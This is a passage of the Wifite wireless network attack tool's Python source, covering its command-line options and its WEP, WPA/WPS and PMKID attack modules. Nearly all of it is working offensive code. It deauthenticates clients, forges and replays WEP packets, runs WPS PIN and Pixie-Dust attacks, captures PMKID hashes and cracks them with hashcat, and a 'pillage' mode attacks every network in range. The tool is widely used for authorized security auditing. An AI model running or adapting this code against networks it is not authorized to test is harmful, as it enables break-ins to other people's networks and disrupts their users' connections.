.util.scanner import Scanner from .attack.all import AttackAll Color.pl('') # Scan s = Scanner() targets = s.select_targets() # Attack attacked_targets = AttackAll.attack_multiple(targets) Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets) ############################################################## def entry_point(): try: wifite = Wifite() wifite.start() except Exception as e: Color.pexception(e) Color.pl('\n{!} {R}Exiting{W}\n') except KeyboardInterrupt: Color.pl('\n{!} {O}Interrupted, Shutting down...{W}') Configuration.exit_gracefully(0) if __name__ == '__main__': entry_point() ================================================ FILE: wifite/args.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .util.color import Color import argparse, sys class Arguments(object): ''' Holds arguments used by the Wifite ''' def __init__(self, configuration): # Hack: Check for -v before parsing args; so we know which commands to display. self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv self.config = configuration self.args = self.get_arguments() def _verbose(self, msg): if self.verbose: return Color.s(msg) else: return argparse.SUPPRESS def get_arguments(self): ''' Returns parser.args() containing all program arguments ''' parser = argparse.ArgumentParser(usage=argparse.SUPPRESS, formatter_class=lambda prog: argparse.HelpFormatter( prog, max_help_position=80, width=130)) self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}'))) self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}'))) self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}'))) self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}'))) self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}'))) self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}'))) self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}'))) return parser.parse_args() def _add_global_args(self, glob): glob.add_argument('-v', '--verbose', action='count', default=0, dest='verbose', help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' + 'outputs. (default: {G}quiet{W})')) glob.add_argument('-i', action='store', dest='interface', metavar='[interface]', type=str, help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' + '(default: {G}ask{W})')) glob.add_argument('-c', action='store', dest='channel', metavar='[channel]', type=int, help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})')) glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int) glob.add_argument('-5', '--5ghz', action='store_true', dest='five_ghz', help=self._verbose('Include 5Ghz channels (default: {G}off{W})')) glob.add_argument('-mac', '--random-mac', action='store_true', dest='random_mac', help=Color.s('Randomize wireless card MAC address (default: {G}off{W})')) glob.add_argument('-p', action='store', dest='scan_time', nargs='?', const=10, metavar='scan_time', type=int, help=Color.s('{G}Pillage{W}: Attack all targets after ' + '{C}scan_time{W} (seconds)')) glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store', dest='scan_time', nargs='?', const=10, type=int) glob.add_argument('--kill', action='store_true', dest='kill_conflicting_processes', help=Color.s('Kill processes that conflict with Airmon/Airodump ' + '(default: {G}off{W})')) glob.add_argument('-b', action='store', dest='target_bssid', metavar='[bssid]', type=str, help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' + 'point to attack')) glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store', dest='target_bssid', type=str) glob.add_argument('-e', action='store', dest='target_essid', metavar='[essid]', type=str, help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack')) glob.add_argument('--essid', help=argparse.SUPPRESS, action='store', dest='target_essid', type=str) glob.add_argument('-E', action='store', dest='ignore_essid', metavar='[text]', type=str, default=None, help=self._verbose('Hides targets with ESSIDs that match the given text')) glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str) glob.add_argument('--clients-only', action='store_true', dest='clients_only', help=Color.s('Only show targets that have associated clients ' + '(default: {G}off{W})')) glob.add_argument('--showb', action='store_true', dest='show_bssids', help=self._verbose('Show BSSIDs of targets while scanning')) glob.add_argument('--nodeauths', action='store_true', dest='no_deauth', help=Color.s('Passive mode: Never deauthenticates clients ' + '(default: {G}deauth targets{W})')) glob.add_argument('--no-deauths', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) glob.add_argument('-nd', action='store_true', dest='no_deauth', help=argparse.SUPPRESS) glob.add_argument('--num-deauths', action='store', type=int, dest='num_deauths', metavar='[num]', default=None, help=self._verbose('Number of deauth packets to send (default: ' + '{G}%d{W})' % self.config.num_deauths)) def _add_eviltwin_args(self, group): pass ''' group.add_argument('--eviltwin', action='store_true', dest='use_eviltwin', help=Color.s('Use the "Evil Twin" attack against all targets ' + '(default: {G}off{W})')) # TODO: Args to specify deauth interface, server port, etc. ''' def _add_wep_args(self, wep): # WEP wep.add_argument('--wep', action='store_true', dest='wep_filter', help=Color.s('Show only {C}WEP-encrypted networks{W}')) wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true', dest='wep_filter') wep.add_argument('--require-fakeauth', action='store_true', dest='require_fakeauth', help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})')) wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth') wep.add_argument('--keep-ivs', action='store_true', dest='wep_keep_ivs', default=False, help=Color.s('Retain .IVS files and reuse when cracking ' + '(default: {G}off{W})')) wep.add_argument('--pps', action='store', dest='wep_pps', metavar='[pps]', type=int, help=self._verbose('Packets-per-second to replay (default: ' + '{G}%d pps{W})' % self.config.wep_pps)) wep.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='wep_pps', type=int) wep.add_argument('--wept', action='store', dest='wep_timeout', metavar='[seconds]', type=int, help=self._verbose('Seconds to wait before failing (default: ' + '{G}%d sec{W})' % self.config.wep_timeout)) wep.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wep_timeout', type=int) wep.add_argument('--wepca', action='store', dest='wep_crack_at_ivs', metavar='[ivs]', type=int, help=self._verbose('Start cracking at this many IVs (default: ' + '{G}%d ivs{W})' % self.config.wep_crack_at_ivs)) wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wep_crack_at_ivs', type=int) wep.add_argument('--weprs', action='store', dest='wep_restart_stale_ivs', metavar='[seconds]', type=int, help=self._verbose('Restart aireplay if no new IVs appear (default: ' + '{G}%d sec{W})' % self.config.wep_restart_stale_ivs)) wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store', dest='wep_restart_stale_ivs', type=int) wep.add_argument('--weprc', action='store', dest='wep_restart_aircrack', metavar='[seconds]', type=int, help=self._verbose('Restart aircrack after this delay (default: ' + '{G}%d sec{W})' % self.config.wep_restart_aircrack)) wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store', dest='wep_restart_aircrack', type=int) wep.add_argument('--arpreplay', action='store_true', dest='wep_attack_replay', help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})')) wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_replay') wep.add_argument('--fragment', action='store_true', dest='wep_attack_fragment', help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})')) wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_fragment') wep.add_argument('--chopchop', action='store_true', dest='wep_attack_chopchop', help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})')) wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_chopchop') wep.add_argument('--caffelatte', action='store_true', dest='wep_attack_caffe', help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})')) wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_caffelatte') wep.add_argument('--p0841', action='store_true', dest='wep_attack_p0841', help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})')) wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_p0841') wep.add_argument('--hirte', action='store_true', dest='wep_attack_hirte', help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})')) wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true', dest='wep_attack_hirte') def _add_wpa_args(self, wpa): wpa.add_argument('--wpa', action='store_true', dest='wpa_filter', help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})')) wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true', dest='wpa_filter') wpa.add_argument('--hs-dir', action='store', dest='wpa_handshake_dir', metavar='[dir]', type=str, help=self._verbose('Directory to store handshake files ' + '(default: {G}%s{W})' % self.config.wpa_handshake_dir)) wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store', dest='wpa_handshake_dir', type=str) wpa.add_argument('--new-hs', action='store_true', dest='ignore_old_handshakes', help=Color.s('Captures new handshakes, ignores existing handshakes ' + 'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir)) wpa.add_argument('--dict', action='store', dest='wordlist', metavar='[file]', type=str, help=Color.s('File containing passwords for cracking (default: {G}%s{W})') % self.config.wordlist) wpa.add_argument('--wpadt', action='store', dest='wpa_deauth_timeout', metavar='[seconds]', type=int, help=self._verbose('Time to wait between sending Deauths ' + '(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout)) wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpa_deauth_timeout', type=int) wpa.add_argument('--wpat', action='store', dest='wpa_attack_timeout', metavar='[seconds]', type=int, help=self._verbose('Time to wait before failing WPA attack ' + '(default: {G}%d sec{W})' % self.config.wpa_attack_timeout)) wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpa_attack_timeout', type=int) # TODO: Uncomment the --strip option once it works ''' wpa.add_argument('--strip', action='store_true', dest='wpa_strip_handshake', default=False, help=Color.s('Strip unnecessary packets from handshake capture using tshark')) ''' wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true', dest='wpa_strip_handshake') def _add_wps_args(self, wps): wps.add_argument('--wps', action='store_true', dest='wps_filter', help=Color.s('Show only {C}WPS-enabled networks{W}')) wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') wps.add_argument('--no-wps', action='store_true', dest='no_wps', help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' + 'attacks on targets (default: {G}off{W})')) wps.add_argument('--wps-only', action='store_true', dest='wps_only', help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' + 'attacks (default: {G}off{W})')) wps.add_argument('--pixie', action='store_true', dest='wps_pixie', help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' + '(do not use {O}PIN attack{W})')) wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie', help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' + '(use {G}PIN attack{W})')) wps.add_argument('--bully', action='store_true', dest='use_bully', help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' + '(default: {G}reaver{W})')) # Alias wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully') # Ignore lock-outs wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock', help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' + ' (default: {G}stop{W})')) # Time limit on entire attack. wps.add_argument('--wps-time', action='store', dest='wps_pixie_timeout', metavar='[sec]', type=int, help=self._verbose('Total time to wait before failing PixieDust attack ' + '(default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) # Alias wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int) # Maximum number of 'failures' (WPSFail) wps.add_argument('--wps-fails', action='store', dest='wps_fail_threshold', metavar='[num]', type=int, help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' + 'failing (default: {G}%d{W})' % self.config.wps_fail_threshold)) # Alias wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) # Maximum number of 'timeouts' wps.add_argument('--wps-timeouts', action='store', dest='wps_timeout_threshold', metavar='[num]', type=int, help=self._verbose('Maximum number of Timeouts before failing ' + '(default: {G}%d{W})' % self.config.wps_timeout_threshold)) # Alias wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) def _add_pmkid_args(self, pmkid): pmkid.add_argument('--pmkid', action='store_true', dest='use_pmkid_only', help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' + 'WPA attacks (default: {G}off{W})')) # Alias pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only') pmkid.add_argument('--pmkid-timeout', action='store', dest='pmkid_timeout', metavar='[sec]', type=int, help=Color.s('Time to wait for PMKID capture ' + '(default: {G}%d{W} seconds)' % self.config.pmkid_timeout)) def _add_command_args(self, commands): commands.add_argument('--cracked', action='store_true', dest='cracked', help=Color.s('Print previously-cracked access points')) commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') commands.add_argument('--check', action='store', metavar='file', nargs='?', const='', dest='check_handshake', help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' + 'for WPA handshakes')) commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='', dest='check_handshake') commands.add_argument('--crack', action='store_true', dest='crack_handshake', help=Color.s('Show commands to crack a captured handshake')) if __name__ == '__main__': from .util.color import Color from .config import Configuration Configuration.initialize(False) a = Arguments(Configuration) args = a.args for (key,value) in sorted(args.__dict__.items()): Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value)) ================================================ FILE: wifite/attack/__init__.py ================================================ ================================================ FILE: wifite/attack/all.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .wep import AttackWEP from .wpa import AttackWPA from .wps import AttackWPS from .pmkid import AttackPMKID from ..config import Configuration from ..util.color import Color class AttackAll(object): @classmethod def attack_multiple(cls, targets): ''' Attacks all given `targets` (list[wifite.model.target]) until user interruption. Returns: Number of targets that were attacked (int) ''' if any(t.wps for t in targets) and not AttackWPS.can_attack_wps(): # Warn that WPS attacks are not available. Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}') attacked_targets = 0 targets_remaining = len(targets) for index, target in enumerate(targets, start=1): attacked_targets += 1 targets_remaining -= 1 bssid = target.bssid essid = target.essid if target.essid_known else '{O}ESSID unknown{W}' Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) + ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid)) should_continue = cls.attack_single(target, targets_remaining) if not should_continue: break return attacked_targets @classmethod def attack_single(cls, target, targets_remaining): ''' Attacks a single `target` (wifite.model.target). Returns: True if attacks should continue, False otherwise. ''' attacks = [] if Configuration.use_eviltwin: # TODO: EvilTwin attack pass elif 'WEP' in target.encryption: attacks.append(AttackWEP(target)) elif 'WPA' in target.encryption: # WPA can have multiple attack vectors: # WPS if not Configuration.use_pmkid_only: if target.wps != False and AttackWPS.can_attack_wps(): # Pixie-Dust if Configuration.wps_pixie: attacks.append(AttackWPS(target, pixie_dust=True)) # PIN attack if Configuration.wps_pin: attacks.append(AttackWPS(target, pixie_dust=False)) if not Configuration.wps_only: # PMKID attacks.append(AttackPMKID(target)) # Handshake capture if not Configuration.use_pmkid_only: attacks.append(AttackWPA(target)) if len(attacks) == 0: Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available') return True # Keep attacking other targets (skip) while len(attacks) > 0: attack = attacks.pop(0) try: result = attack.run() if result: break # Attack was successful, stop other attacks. except Exception as e: Color.pexception(e) continue except KeyboardInterrupt: Color.pl('\n{!} {O}Interrupted{W}\n') answer = cls.user_wants_to_continue(targets_remaining, len(attacks)) if answer is True: continue # Keep attacking the same target (continue) elif answer is None: return True # Keep attacking other targets (skip) else: return False # Stop all attacks (exit) if attack.success: attack.crack_result.save() return True # Keep attacking other targets @classmethod def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0): ''' Asks user if attacks should continue onto other targets Returns: True if user wants to continue, False otherwise. ''' if attacks_remaining == 0 and targets_remaining == 0: return # No targets or attacksleft, drop out prompt_list = [] if attacks_remaining > 0: prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) if targets_remaining > 0: prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) prompt = ' and '.join(prompt_list) + ' remain' Color.pl('{+} %s' % prompt) prompt = '{+} Do you want to' options = '(' if attacks_remaining > 0: prompt += ' {G}continue{W} attacking,' options += '{G}C{W}{D}, {W}' if targets_remaining > 0: prompt += ' {O}skip{W} to the next target,' options += '{O}s{W}{D}, {W}' options += '{R}e{W})' prompt += ' or {R}exit{W} %s? {C}' % options from ..util.input import raw_input answer = raw_input(Color.s(prompt)).lower() if answer.startswith('s'): return None # Skip elif answer.startswith('e'): return False # Exit else: return True # Continue ================================================ FILE: wifite/attack/pmkid.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..model.attack import Attack from ..config import Configuration from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat from ..util.color import Color from ..util.timer import Timer from ..model.pmkid_result import CrackResultPMKID from threading import Thread import os import time import re class AttackPMKID(Attack): def __init__(self, target): super(AttackPMKID, self).__init__(target) self.crack_result = None self.success = False self.pcapng_file = Configuration.temp('pmkid.pcapng') def get_existing_pmkid_file(self, bssid): ''' Load PMKID Hash from a previously-captured hash in ./hs/ Returns: The hashcat hash (hash*bssid*station*essid) if found. None if not found. ''' if not os.path.exists(Configuration.wpa_handshake_dir): return None bssid = bssid.lower().replace(':', '') file_re = re.compile('.*pmkid_.*\.16800') for filename in os.listdir(Configuration.wpa_handshake_dir): pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename) if not os.path.isfile(pmkid_filename): continue if not re.match(file_re, pmkid_filename): continue with open(pmkid_filename, 'r') as pmkid_handle: pmkid_hash = pmkid_handle.read().strip() if pmkid_hash.count('*') < 3: continue existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '') if existing_bssid == bssid: return pmkid_filename return None def run(self): ''' Performs PMKID attack, if possible. 1) Captures PMKID hash (or re-uses existing hash if found). 2) Cracks the hash. Returns: True if handshake is captured. False otherwise. ''' from ..util.process import Process # Check that we have all hashcat programs dependencies = [ Hashcat.dependency_name, HcxDumpTool.dependency_name, HcxPcapTool.dependency_name ] missing_deps = [dep for dep in dependencies if not Process.exists(dep)] if len(missing_deps) > 0: Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps)) return False pmkid_file = None if Configuration.ignore_old_handshakes == False: # Load exisitng PMKID hash from filesystem pmkid_file = self.get_existing_pmkid_file(self.target.bssid) if pmkid_file is not None: Color.pattack('PMKID', self.target, 'CAPTURE', 'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file) if pmkid_file is None: # Capture hash from live target. pmkid_file = self.capture_pmkid() if pmkid_file is None: return False # No hash found. # Crack it. try: self.success = self.crack_pmkid_file(pmkid_file) except KeyboardInterrupt: Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}') self.success = False return False return True # Even if we don't crack it, capturing a PMKID is 'successful' def capture_pmkid(self): ''' Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file. Returns: The PMKID hash (str) if found, otherwise None. ''' self.keep_capturing = True self.timer = Timer(Configuration.pmkid_timeout) # Start hcxdumptool t = Thread(target=self.dumptool_thread) t.start() # Repeatedly run pcaptool & check output for hash for self.target.essid pmkid_hash = None pcaptool = HcxPcapTool(self.target) while self.timer.remaining() > 0: pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file) if pmkid_hash is not None: break # Got PMKID Color.pattack('PMKID', self.target, 'CAPTURE', 'Waiting for PMKID ({C}%s{W})' % str(self.timer)) time.sleep(1) self.keep_capturing = False if pmkid_hash is None: Color.pattack('PMKID', self.target, 'CAPTURE', '{R}Failed{O} to capture PMKID\n') Color.pl('') return None # No hash found. Color.clear_entire_line() Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}') pmkid_file = self.save_pmkid(pmkid_hash) return pmkid_file def crack_pmkid_file(self, pmkid_file): ''' Runs hashcat containing PMKID hash (*.16800). If cracked, saves results in self.crack_result Returns: True if cracked, False otherwise. ''' # Check that wordlist exists before cracking. if Configuration.wordlist is None: Color.pl('\n{!} {O}Not cracking PMKID ' + 'because there is no {R}wordlist{O} (re-run with {C}--dict{O})') # TODO: Uncomment once --crack is updated to support recracking PMKIDs. #Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.') key = None else: Color.clear_entire_line() Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist) key = Hashcat.crack_pmkid(pmkid_file) if key is None: # Failed to crack. if Configuration.wordlist is not None: Color.clear_entire_line() Color.pattack('PMKID', self.target, '{R}CRACK', '{R}Failed {O}Passphrase not found in dictionary.\n') return False else: # Successfully cracked. Color.clear_entire_line() Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key) self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid, pmkid_file, key) Color.pl('\n') self.crack_result.dump() return True def dumptool_thread(self): '''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`''' dumptool = HcxDumpTool(self.target, self.pcapng_file) # Let the dump tool run until we have the hash. while self.keep_capturing and dumptool.poll() is None: time.sleep(0.5) dumptool.interrupt() def save_pmkid(self, pmkid_hash): '''Saves a copy of the pmkid (handshake) to hs/ directory.''' # Create handshake dir if not os.path.exists(Configuration.wpa_handshake_dir): os.makedirs(Configuration.wpa_handshake_dir) # Generate filesystem-safe filename from bssid, essid and date essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid) bssid_safe = self.target.bssid.replace(':', '-') date = time.strftime('%Y-%m-%dT%H-%M-%S') pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date) pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file) Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file) with open(pmkid_file, 'w') as pmkid_handle: pmkid_handle.write(pmkid_hash) pmkid_handle.write('\n') return pmkid_file ================================================ FILE: wifite/attack/wep.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..model.attack import Attack from ..tools.airodump import Airodump from ..tools.aireplay import Aireplay, WEPAttackType from ..tools.aircrack import Aircrack from ..tools.ifconfig import Ifconfig from ..config import Configuration from ..util.color import Color from ..util.input import raw_input from ..model.wep_result import CrackResultWEP import time class AttackWEP(Attack): ''' Contains logic for attacking a WEP-encrypted access point. ''' fakeauth_wait = 5 # TODO: Configuration? def __init__(self, target): super(AttackWEP, self).__init__(target) self.crack_result = None self.success = False def run(self): ''' Initiates full WEP attack. Including airodump-ng starting, cracking, etc. Returns: True if attack is successful, false otherwise ''' aircrack = None # Aircrack process, not started yet fakeauth_proc = None replay_file = None airodump_target = None previous_ivs = 0 current_ivs = 0 total_ivs = 0 keep_ivs = Configuration.wep_keep_ivs # Clean up previous WEP sessions if keep_ivs: Airodump.delete_airodump_temp_files('wep') attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: attack_name = attacks_remaining.pop(0) # BIG try-catch to capture ctrl+c try: # Start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, ivs_only=True, # Only capture IVs packets skip_wps=True, # Don't check for WPS-compatibility output_file_prefix='wep', delete_existing_files=not keep_ivs) as airodump: Color.clear_line() Color.p('\r{+} {O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) fakeauth_proc = None if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. client_mac = Ifconfig.get_mac(Configuration.interface) # Keep us authenticated fakeauth_proc = Aireplay(self.target, 'fakeauth') elif len(airodump_target.clients) == 0: # Failed to fakeauth, can't use our MAC. # And there are no associated clients. Use one and tell the user. Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + ' without fake-authentication or associated clients{W}') client_mac = None else: # Fakeauth failed, but we can re-use an existing client client_mac = airodump_target.clients[0].station # Convert to WEPAttackType. wep_attack_type = WEPAttackType(attack_name) # Start Aireplay process. aireplay = Aireplay(self.target, wep_attack_type, client_mac=client_mac, replay_file=replay_file) time_unchanged_ivs = time.time() # Timestamp when IVs last changed last_ivs_count = 0 # Loop until attack completes. while True: airodump_target = self.wait_for_target(airodump) if client_mac is None and len(airodump_target.clients) > 0: client_mac = airodump_target.clients[0].station if keep_ivs and current_ivs > airodump_target.ivs: # We now have less IVS than before; A new attack must have started. # Track how many we have in-total. previous_ivs += total_ivs current_ivs = airodump_target.ivs total_ivs = previous_ivs + current_ivs status = '%d/{C}%d{W} IVs' % (total_ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: status += ', {G}fakeauth{W}' else: status += ', {R}no-auth{W}' if aireplay.status is not None: status += ', %s' % aireplay.status Color.clear_entire_line() Color.pattack('WEP', airodump_target, '%s' % attack_name, status) # Check if we cracked it. if aircrack and aircrack.is_cracked(): (hex_key, ascii_key) = aircrack.get_key_hex_ascii() bssid = airodump_target.bssid if airodump_target.essid_known: essid = airodump_target.essid else: essid = None Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) if aireplay: aireplay.stop() if fakeauth_proc: fakeauth_proc.stop() self.crack_result = CrackResultWEP(self.target.bssid, self.target.essid, hex_key, ascii_key) self.crack_result.dump() Airodump.delete_airodump_temp_files('wep') self.success = True return self.success if aircrack and aircrack.is_running(): # Aircrack is running in the background. Color.p('and {C}cracking{W}') # Check number of IVs, crack if necessary if total_ivs > Configuration.wep_crack_at_ivs: if not aircrack or not aircrack.is_running(): # Aircrack hasn't started yet. Start it. ivs_files = airodump.find_files(endswith='.ivs') ivs_files.sort() if len(ivs_files) > 0: if not keep_ivs: ivs_files = ivs_files[-1] # Use most-recent .ivs file aircrack = Aircrack(ivs_files) elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack.stop() ivs_files = airodump.find_files(endswith='.ivs') ivs_files.sort() if len(ivs_files) > 0: if not keep_ivs: ivs_files = ivs_files[-1] # Use most-recent .ivs file aircrack = Aircrack(ivs_files) if not aireplay.is_running(): # Some Aireplay attacks loop infinitely if attack_name == 'chopchop' or attack_name == 'fragment': # We expect these to stop once a .xor is created, or if the process failed. replay_file = None # Check for .xor file. xor_file = Aireplay.get_xor() if not xor_file: # If .xor is not there, the process failed. Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name) # XXX: For debugging Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd)) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # If .xor exists, run packetforge-ng to create .cap Color.pl('\n{+} {C}%s attack{W}' % attack_name + ' generated a {C}.xor file{W}, {G}forging...{W}') replay_file = Aireplay.forge_packet(xor_file, airodump_target.bssid, client_mac) if replay_file: Color.pl('{+} {C}forged packet{W},' + ' {G}replaying...{W}') wep_attack_type = WEPAttackType('forgedreplay') attack_name = 'forgedreplay' aireplay = Aireplay(self.target, 'forgedreplay', client_mac=client_mac, replay_file=replay_file) time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet) continue else: # Failed to forge packet. drop out break else: Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('{?} {O}Command: {R}%s{W}' % ' '.join(aireplay.cmd)) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) if airodump_target.ivs > last_ivs_count: time_unchanged_ivs = time.time() elif Configuration.wep_restart_stale_ivs > 0 and \ attack_name != 'chopchop' and \ attack_name != 'fragment': stale_seconds = time.time() - time_unchanged_ivs if stale_seconds > Configuration.wep_restart_stale_ivs: # No new IVs within threshold, restart aireplay aireplay.stop() Color.pl('\n{!} restarting {C}aireplay{W} after' + ' {C}%d{W} seconds of no new IVs' % stale_seconds) aireplay = Aireplay(self.target, \ wep_attack_type, \ client_mac=client_mac, \ replay_file=replay_file) time_unchanged_ivs = time.time() last_ivs_count = airodump_target.ivs time.sleep(1) continue # End of big while loop # End of with-airodump except KeyboardInterrupt: if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: if keep_ivs: Airodump.delete_airodump_temp_files('wep') self.success = False return self.success if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): if keep_ivs: Airodump.delete_airodump_temp_files('wep') self.success = False return self.success except Exception as e: Color.pexception(e) continue # End of big try-catch # End of for-each-attack-type loop if keep_ivs: Airodump.delete_airodump_temp_files('wep') self.success = False return self.success def user_wants_to_stop(self, current_attack, attacks_remaining, target): ''' Ask user what attack to perform next (re-orders attacks_remaining, returns False), or if we should stop attacking this target (returns True). ''' if target is None: Color.pl('') return True target_name = target.essid if target.essid_known else target.bssid Color.pl('\n\n{!} {O}Interrupted') Color.pl('{+} {W}Next steps:') # Deauth clients & retry attack_index = 1 Color.pl(' {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}' % (current_attack, target_name)) # Move onto a different WEP attack for attack_name in attacks_remaining: attack_index 